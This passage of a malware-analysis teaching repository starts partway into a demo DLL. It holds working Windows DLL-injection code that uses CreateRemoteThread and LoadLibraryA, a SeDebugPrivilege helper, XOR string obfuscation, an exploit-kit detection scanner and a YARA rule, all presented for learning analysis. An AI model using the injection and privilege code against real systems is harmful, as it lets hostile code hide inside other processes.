"Testing..",MB_OK); 17 | break; 18 | 19 | case DLL_THREAD_ATTACH: 20 | // Do thread-specific initialization. 21 | break; 22 | 23 | case DLL_THREAD_DETACH: 24 | // Do thread-specific cleanup. 25 | break; 26 | 27 | case DLL_PROCESS_DETACH: 28 | 29 | /*if (lpvReserved != nullptr) 30 | { 31 | break; // do not do cleanup if process termination scenario 32 | }*/ 33 | 34 | // Perform any necessary cleanup. 35 | break; 36 | } 37 | return TRUE; // Successful DLL_PROCESS_ATTACH. 38 | } -------------------------------------------------------------------------------- /Process Security Access Rights/Injection/inject.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Author: Josh Stroschein @jstrosch 3 | * Date: 20 March 2024 4 | * Compile this in the architecture you want to inject into i.e. 32-bit -> 32 bit processes, 64-bit 64-bit processes. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | // Forward declarations: 14 | void InjectProcess( void ); 15 | void toLower(TCHAR *ptrStr); 16 | 17 | char* target_process = "notepad.exe"; 18 | 19 | int main( void ) 20 | { 21 | InjectProcess(); 22 | 23 | return 0; 24 | } 25 | 26 | void InjectProcess( ) 27 | { 28 | //HANDLE: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724457%28v=vs.85%29.aspx 29 | //Handles represent a system resource 30 | HANDLE hProcessSnap = NULL; 31 | HANDLE hProcess = NULL; 32 | PROCESSENTRY32 pe32; //https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32 33 | DWORD dwPriorityClass; 34 | int injected = 0; 35 | 36 | HANDLE hTargetProcess = NULL; 37 | VOID* vpNewMemory = NULL; 38 | 39 | char libPath[] = "C:\\demo_dll.dll"; 40 | 41 | //https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getfileattributesa?redirectedfrom=MSDN 42 | if(GetFileAttributesA(libPath) == INVALID_FILE_ATTRIBUTES) 43 | { 44 | printf("[!] Failed to find library to inject.\n"); 45 | return; 46 | } 47 | HMODULE hKern32 = GetModuleHandle("Kernel32"); 48 | void *loadLib = GetProcAddress(hKern32, "LoadLibraryA"); 49 | int lasterror = 0; 50 | 51 | // Take a snapshot of all processes in the system. 52 | //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682489%28v=vs.85%29.aspx 53 | hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPALL, 0 ); 54 | if( hProcessSnap == INVALID_HANDLE_VALUE ) // -1 55 | { 56 | puts("ERROR"); 57 | return; 58 | } 59 | 60 | //The size of the structure, in bytes. 61 | //Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32). 62 | //If you do not initialize dwSize, Process32First fails. 63 | pe32.dwSize = sizeof( PROCESSENTRY32 ); 64 | 65 | // Retrieve information about the first process, 66 | // and exit if unsuccessful 67 | if( !Process32First( hProcessSnap, &pe32 ) ) 68 | { 69 | puts("ERROR"); 70 | CloseHandle( hProcessSnap ); 71 | return; 72 | } 73 | 74 | do 75 | { 76 | if (injected) { 77 | puts("[*] DLL injected, done."); 78 | break; 79 | } 80 | toLower(pe32.szExeFile); 81 | printf("[*] Checking process name %s\n", pe32.szExeFile); 82 | // This could be any process name you are looking for 83 | if(strstr(pe32.szExeFile, target_process)) 84 | { 85 | printf("[*] Found %s, attempting to get handle... %s\n", target_process, pe32.szExeFile); 86 | 87 | hTargetProcess = OpenProcess( PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, pe32.th32ProcessID ); 88 | 89 | if (!hTargetProcess) { 90 | puts("[!] Failed to get process handle..."); 91 | } else { 92 | puts("[*] Handle obtained"); 93 | 94 | vpNewMemory = VirtualAllocEx(hTargetProcess, NULL, 0x220, MEM_COMMIT, 0x40); 95 | 96 | if(!vpNewMemory){ 97 | puts("[!] Failed to allocate memory..."); 98 | } else { 99 | printf("[*] Memory allocated in target process at 0x%p\n", vpNewMemory); 100 | 101 | if(WriteProcessMemory(hTargetProcess, vpNewMemory, libPath, sizeof(libPath), NULL)) { 102 | puts("[*] DLL path copied to new memory... "); 103 | } 104 | 105 | if(CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLib, vpNewMemory, 0, NULL)){ 106 | puts("[*] Remote thread created"); 107 | injected = 1; 108 | } else { 109 | // https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes 110 | lasterror = GetLastError(); 111 | printf("[!] Error: %08x\n", lasterror); 112 | } 113 | 114 | //clean-up? 115 | if(VirtualFreeEx(hTargetProcess,vpNewMemory,0,MEM_RELEASE)){ 116 | puts("[*] Memory freed from target process"); 117 | } else { 118 | puts("[!] Memory NOT freed from target process"); 119 | } 120 | } 121 | } 122 | } 123 | } while( Process32Next( hProcessSnap, &pe32 ) ); 124 | 125 | CloseHandle( hProcessSnap ); 126 | 127 | return; 128 | } 129 | 130 | void toLower(TCHAR *pStr) 131 | { 132 | while(*pStr++ = _totlower(*pStr)); 133 | } -------------------------------------------------------------------------------- /Process Security Access Rights/get_debug_priv.c: -------------------------------------------------------------------------------- 1 | // Author: Josh Stroschein @jstrosch 2 | // Date: 20 March 2024 3 | // Description: A small program using the necessary APIs to get DEBUG privileges for the current process. 4 | 5 | #include 6 | #include 7 | 8 | #pragma comment(lib, "advapi32.lib") 9 | 10 | // Forward declarations: 11 | int GetDebugPriv( void ); 12 | 13 | int main( void ) 14 | { 15 | if(GetDebugPriv()){ 16 | puts("[*] Debug privilege added to current process!"); 17 | } 18 | return 0; 19 | } 20 | 21 | int GetDebugPriv(void) { 22 | HANDLE hToken = NULL; 23 | LUID lUID; 24 | TOKEN_PRIVILEGES tp; 25 | int success = 0; 26 | int status = 0; 27 | 28 | if (OpenProcessToken (GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 29 | { 30 | ZeroMemory (&tp, sizeof (tp)); 31 | 32 | if(!LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &lUID )){ 33 | puts("[!] Failed to look-up privilege value"); 34 | } else { 35 | tp.Privileges[0].Luid = lUID; 36 | tp.PrivilegeCount = 1; 37 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 38 | 39 | if ( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) 40 | { 41 | printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError() ); 42 | } else { 43 | status = GetLastError(); 44 | if (status == ERROR_NOT_ALL_ASSIGNED) {//0x514 45 | puts("[!] Debug privilege not added :("); 46 | } else { 47 | puts("[*] Privilege adjusted"); 48 | success = 1; 49 | } 50 | } 51 | } 52 | } else { 53 | puts("[!] Could not obtain process token"); 54 | } 55 | return success; 56 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Learning Malware Analysis 2 | This repository contains sample programs that mimick behavior found in real-world malware. The goal is to provide source code that can be compiled and used for learning purposes, without having to worry about handling live malware or causing real damage to any system. The type of program is organized by concept it is focused on, you can see this through the root folder structure. 3 | 4 | I discuss many of these programs through online videos and courses and you may find the following helpful: 5 | 6 | - Various topics in malware analysis - [YouTube Playlist](https://www.youtube.com/playlist?list=PLHJns8WZXCdueUdUTn-xw-eiBZuqSUGPG) 7 | 8 | - Getting Started with Reverse Engineering - [YouTube Playlist](https://www.youtube.com/playlist?list=PLHJns8WZXCdvaD7-xR7e5FJNW_6H9w-wC) and full courses on [Pluralsight](https://www.pluralsight.com/courses/reverse-engineering-getting-started) 9 | 10 | - Essential Malware Analysis on Pluralsight: 11 | - [Initial File Triage](https://www.pluralsight.com/courses/initial-file-triage-malware-analysis) 12 | - [Initial Access Techniques](https://www.pluralsight.com/courses/initial-access-techniques-malware-analysis) 13 | - [Basics of IDA Pro](https://www.pluralsight.com/courses/ida-pro-concepts-basic-functionality) 14 | - [Basics of Ghidra](https://www.pluralsight.com/courses/ghidra-concepts-basic-functionality) 15 | 16 | - Yara for Malware Research - [YouTube playlist](https://www.youtube.com/playlist?list=PLHJns8WZXCdsG809U-N3tGuf_665Ox3Q8) 17 | 18 | - Essential Elements of the Portable Executable (PE) file - [YouTube playlist](https://www.youtube.com/playlist?list=PLHJns8WZXCdstHnLaxcz-CO74fO4Q88_8) 19 | 20 | ## Other Tools You May Find Helpful 21 | 22 | - [Learning Reverse Engineering Github repo](https://github.com/jstrosch/learning-reverse-engineering/tree/master): A similar repository with source code and resources for learning reverse engineering. 23 | - [sclauncher](https://github.com/jstrosch/sclauncher): A shellcode launcher and debugging tool 24 | 25 | ## Compiling the Source Code 26 | 27 | These programs are intended to be compiled with the C/C++ compiler from Microsoft. You can use the `Developer Command Prompt` after installing the free/community version to compile using `cl`. An example of this command would be: 28 | 29 | ```cl ``` 30 | 31 | This should produce two files: `.obj` and `.exe` using the name of the input file. You can typically ignore the `.obj` file, the `.exe` is what you will analyze. Please note, occassionally specific compiler flags are used to obtain desired affects in the resulting binary. These compiler flags will be identified in the related videos or noted in the README in the specific folder. 32 | 33 | If you're looking for real world malware or other interesting artifacts, please check out my repo [malware-samples](https://github.com/jstrosch/malware-samples). 34 | -------------------------------------------------------------------------------- /Shellcode/shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Shellcode/shellcode.bin -------------------------------------------------------------------------------- /String Obfuscation/xor_encrytion.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /* This is a simple XOR decrypt, used primarily to 'hide' strings in the binary */ 5 | void decrypt_encrypt(char*src, size_t key, size_t size); 6 | 7 | char mutex_name[25] = "\xc3\xff\xf2\xd4\xee\xf5\xf2\xe5\xce\xf2\xe3\xfe"; 8 | 9 | const unsigned int xor_key = 0x97; 10 | 11 | int main(void) { 12 | HANDLE h_mutex = NULL; 13 | 14 | wchar_t *string1 = L"this is a wide char string"; 15 | char *string2 = "this is an ascii string"; 16 | char *string3 = "\xe3\xff\xfe\xe4\xb7\xfe\xe4\xb7\xf6\xf9\xb7\xf2\xf9\xf4\xe5\xee\xe7\xe3\xf2\xf3\xb7\xe4\xe3\xe5\xfe\xf9\xf0"; 17 | 18 | decrypt_encrypt(mutex_name, xor_key, strlen(mutex_name)); 19 | h_mutex = OpenMutex(SYNCHRONIZE,FALSE,mutex_name); 20 | 21 | if(!h_mutex) { 22 | 23 | h_mutex = CreateMutex(NULL, TRUE, mutex_name); 24 | decrypt_encrypt(mutex_name, xor_key, strlen(mutex_name)); 25 | 26 | printf("%ls\n", string1); 27 | printf("%s\n", string2); 28 | printf("%s\n", string3); 29 | decrypt_encrypt(string3, xor_key, strlen(string3)); 30 | printf("%s\n", string3); 31 | 32 | Sleep(300000); 33 | } 34 | 35 | CloseHandle(h_mutex); 36 | } 37 | 38 | void decrypt_encrypt(char *src,size_t key, size_t size) { 39 | int i = 0; 40 | 41 | for (i = 0; i < size; i++) { 42 | src[i] ^= key; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /Tools/exploit-kits/seek-ek.py: -------------------------------------------------------------------------------- 1 | 2 | import zipfile, httplib2, cStringIO, re, csv 3 | from urllib import urlopen 4 | from HTMLParser import HTMLParser 5 | from bs4 import BeautifulSoup 6 | from random import randint 7 | 8 | 9 | # Global Values 10 | ALEXA_URL = 'http://s3.amazonaws.com/alexa-static/top-1m.csv.zip' 11 | 12 | # User-Agent Strings 13 | ua_strings = ['Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))','Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)'] 14 | 15 | # Helper Routines 16 | def parse_alexa_rankings(): 17 | 18 | sites = [] 19 | 20 | with open('top-1m.csv','rb') as f: 21 | 22 | cr = csv.reader(f) 23 | 24 | for rank, site in cr: 25 | sites.append([int(rank), site.strip()]) 26 | 27 | return sites 28 | 29 | 30 | if __name__ == "__main__": 31 | 32 | sites = parse_alexa_rankings() 33 | #sites = [(1,'localhost')] 34 | 35 | log = open("results.txt","a") 36 | 37 | print '[*] Total sites:\t' + str(len(sites)) 38 | log.write('======================== Date =====================\n') 39 | log.write('[*] Total sites:\t' + str(len(sites)) + "\n") 40 | 41 | for x in range(73506,75000): 42 | rank, site = sites[x] 43 | 44 | try: 45 | 46 | http = httplib2.Http() 47 | 48 | headers = {'User-Agent':ua_strings[randint(0,len(ua_strings)-1)]} 49 | 50 | response, content = http.request('http://' + site, 'GET', headers=headers) 51 | 52 | #@todo: Incapsula looks very similar, need to remove the eval 53 | #@todo: Compromised sites may include JS files 54 | matches = re.findall(r'eval\(eval|[a-zA-Z0-9]{2,}\=\"{1}[a-zA-Z0-9]{300,}|(?:\d{1,3}\,){50,}|(?:\\x[0-9a-fA-F]{1,2}){4,}',content) 55 | 56 | if len(matches) > 0: 57 | print '[!] ' + str(rank) + ' Possible EK at ' + site 58 | print '\tMatches:\t' + str(len(matches)) 59 | 60 | # Write the file for later analysis 61 | with open(site+'-' + str(rank), 'w+') as compromised_site: 62 | compromised_site.write(content) 63 | 64 | #Log Results 65 | log.write('[!] Possible EK at ' + site + "\n") 66 | log.write('\tMatches:\t' + str(len(matches)) + "\n") 67 | 68 | for match in matches: 69 | print '\t' + match 70 | else: 71 | print '[' + str(rank) + '] Nothing found at ' + site 72 | log.write('[' + str(rank) + '] Nothing found at ' + site + "\n") 73 | except: 74 | print '[' + str(rank) + '] Failed with ' + site 75 | log.write('[' + str(rank) + '] Failed with ' + site + "\n") -------------------------------------------------------------------------------- /Tools/unpacking/Scylla v0.9.7c.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Tools/unpacking/Scylla v0.9.7c.zip -------------------------------------------------------------------------------- /Tools/unpacking/autoit-v3.2.4.8.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Tools/unpacking/autoit-v3.2.4.8.zip -------------------------------------------------------------------------------- /Tools/unpacking/exe2aut.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Tools/unpacking/exe2aut.exe -------------------------------------------------------------------------------- /Yara/ascii_wide_strings/demo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /* This is a simple XOR decrypt, used primarily to 'hide' strings in the binary */ 5 | void decrypt(char*src, size_t key, size_t size); 6 | 7 | const unsigned int xor_key = 0x97; 8 | 9 | int main(void) { 10 | 11 | wchar_t *string1 = L"this is a wide char string"; 12 | char *string2 = "this is an ascii string"; 13 | char *string3 = "\xe3\xff\xfe\xe4\xb7\xfe\xe4\xb7\xf6\xf9\xb7\xf2\xf9\xf4\xe5\xee\xe7\xe3\xf2\xf3\xb7\xe4\xe3\xe5\xfe\xf9\xf0"; 14 | 15 | printf("%ls\n", string1); 16 | printf("%s\n", string2); 17 | printf("%s\n", string3); 18 | decrypt(string3, xor_key, strlen(string3)); 19 | printf("%s\n", string3); 20 | 21 | } 22 | 23 | void decrypt(char *src,size_t key, size_t size) { 24 | int i = 0; 25 | 26 | for (i = 0; i < size; i++) { 27 | src[i] ^= key; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /Yara/ascii_wide_strings/demo.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Yara/ascii_wide_strings/demo.exe -------------------------------------------------------------------------------- /Yara/ascii_wide_strings/yara_strings_basics.yara: -------------------------------------------------------------------------------- 1 | rule yara_strings_basics { 2 | meta: 3 | description = "Testing string detections" 4 | author = "@jstrosch" 5 | date = "2023-02-25" 6 | 7 | strings: 8 | $s1 = "this is an ascii string" ascii 9 | $s2 = "this is a wide char string" wide 10 | //$s3 = "this is an encrypted string" ascii xor 11 | 12 | $s4 = { 74 00 68 00 69 00 73 00 20 00 69 00 73 00 20 00 61 00 20 00 77 00 69 00 64 00 65 00 20 00 63 00 68 00 61 00 72 00 20 00 73 00 74 00 72 00 69 00 6E 00 67 00 } 13 | $s5 = { E3 FF FE E4 B7 FE E4 B7 F6 F9 B7 F2 F9 F4 E5 EE E7 E3 F2 F3 B7 E4 E3 E5 FE F9 F0 } 14 | 15 | condition: 16 | all of them 17 | } --------------------------------------------------------------------------------